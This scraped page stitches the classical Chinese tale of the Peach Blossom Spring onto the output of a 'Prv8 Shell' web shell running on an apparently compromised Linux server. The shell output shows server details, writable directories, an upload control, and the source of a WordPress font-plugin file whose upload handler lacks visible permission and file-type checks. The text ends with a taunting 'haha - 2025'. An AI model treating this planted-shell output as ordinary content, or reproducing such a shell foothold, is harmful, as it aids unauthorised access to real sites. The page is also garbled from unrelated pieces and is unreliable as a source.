晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/wp-contentTZh/plugins/Novin-Fonts/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/wp-contentTZh/plugins/Novin-Fonts/includes/functions.php
<?php


/**
 * Pulls in all font files and returns them in an array
 * 
 * @access      private
 * @since       2.0
 * @return      array
*/

function fu_load_fonts() {

	wp_mkdir_p( FU_FONT_DIR ); // create the upload path, if it doesn't exist

	$fonts_folder = opendir( FU_FONT_DIR );

	$allowed_types = fu_get_allowed_font_types();

	$fonts_return = array();

	while( ($font = readdir($fonts_folder) ) !== false ) {
		if( fu_is_font( $font, FU_FONT_DIR ) ) {
			$fonts_return[] = $font;
		}
	}
	closedir($fonts_folder);

	$fonts_folder = opendir( FU_OLD_FONT_DIR );

	while( ($font = readdir($fonts_folder) ) !== false ) {
		if( fu_is_font( $font, FU_OLD_FONT_DIR ) ) {
			$fonts_return[] = $font;
		}
	}
	closedir($fonts_folder);

	array_unshift( $fonts_return, __('Choose a font', 'fontuplaoder') );
	return $fonts_return;
}


/**
 * Set Upload Dir
 *
 * Sets the upload dir to /edd.
 *
 * @access      private
 * @since       2.0 
 * @return      array
*/

function fu_set_upload_dir($upload) {
	$upload['subdir']= '/fonts';
	$upload['path'] = $upload['basedir'] . $upload['subdir'];
	$upload['url']	= $upload['baseurl'] . $upload['subdir'];
	return $upload;
}


/**
 * Checks for a font file
 *
 * Detects whether the specified file is a font
 *
 * @access      private
 * @since       2.0
 * @return      bool
*/

function fu_is_font( $file, $path ) {
	if ( !in_array( fu_get_file_extension( $file, $path ), fu_get_allowed_font_types() ) )
		return false;
	
	$mime = fu_get_file_mime( $file, $path );
	$extension = fu_get_file_extension( $file, $path );
	$allowed_mimes = fu_allowed_mime_types();

	if( $allowed_mimes[$extension] != $mime )
		return false;

	return true;
}


/**
 * Gets the file extension
 * 
 * @access      private
 * @since       2.0
 * @return      string
*/

function fu_get_file_extension($file, $path = null) {
   $filetype = wp_check_filetype( $path . $file );
   return strtolower( $filetype['ext'] );
}


/**
 * Gets the file mime
 * 
 * @access      private
 * @since       2.0
 * @return      string
*/

function fu_get_file_mime($file, $path = null) {
   $filetype = wp_check_filetype( $path . $file );
   return $filetype['type'];
}


/**
 * Gets allowed file extensions
 * 
 * @access      private
 * @since       2.0
 * @return      array
*/

function fu_get_allowed_font_types() {
	return apply_filters('fu_allowed_types', array('otf', 'ttf', 'eot') );
}

/**
 * Gets allowed file types for Font Uploader
 * 
 * @access      private
 * @since       2.0
 * @return      array
*/

function fu_allowed_mime_types( $existing_mimes = array() ) {
 
	$existing_mimes['ttf'] = 'font/ttf ';
	$existing_mimes['otf'] = 'font/opentype';
	$existing_mimes['eot'] = 'application/vnd.ms-fontobject';
 	return $existing_mimes;
 
}
add_filter('upload_mimes', 'fu_allowed_mime_types');


/**
 * Uploads a font file
 * 
 * @access      private
 * @since       2.0
 * @return      array
*/

function fu_upload_font_file() {
	if( isset( $_POST['fu_action'] ) && $_POST['fu_action'] == 'upload' ) {
		if( ! wp_verify_nonce( $_POST['font-upload-nonce'], 'font-upload-nonce' ) )
			return;

		add_filter( 'upload_dir', 'fu_set_upload_dir' );

		// all good, let's save the file
		$font = wp_upload_bits( $_FILES['font']['name'], null, file_get_contents( $_FILES['font']['tmp_name'] ) );

		if( ! empty( $font['error'] ) )
			wp_die( $font['error'], __('Font Upload Failure', 'fontuploader') );

		wp_redirect( add_query_arg( 'font', 'uploaded', admin_url( 'themes.php?page=font-uploader' ) ) ); exit;
	}
}
add_action('admin_init', 'fu_upload_font_file');


/**
 * Displays font notices
 * 
 * @access      private
 * @since       2.0
 * @return      void
*/

function fu_admin_notices() {
	global $pagenow;
	if( $pagenow == 'themes.php' && isset( $_GET['font'] ) && $_GET['font'] == 'uploaded' ) {
		echo '<div class="updated"><p>' . __('Your font have been successfully uploaded', 'fontuploader') . '</p></div>';
	}
}
add_action('admin_notices', 'fu_admin_notices');


/**
 * Retrieves the URL of a font file from its name
 * 
 * @access      private
 * @since       2.0
 * @return      string
*/

function fu_get_font_url( $font_name ) {
	if( file_exists( FU_FONT_DIR . $font_name ) )
		return FU_FONT_URL . $font_name;
	elseif( file_exists( FU_OLD_FONT_DIR . $font_name ) )
		return FU_OLD_FONT_URL . $font_name;
	else
		return false;
}


/**
 * Retrieves the available font sizes
 * 
 * @access      private
 * @since       2.0
 * @return      array
*/

function fu_get_font_sizes() {
	return apply_filters(
		'fu_font_sizes', 
		array(__('Choose a size', 'fontuplaoder'), '8px','9px','10px','11px','12px','13px','14px','15px','16px',
					'17px','18px','19px','20px','21px','22px','23px','24px','25px',
					'26px','27px','28px','29px','30px','31px','32px','33px','34px',
					'35px','36px','37px','38px','39px','40px'
		)
	);
}

haha - 2025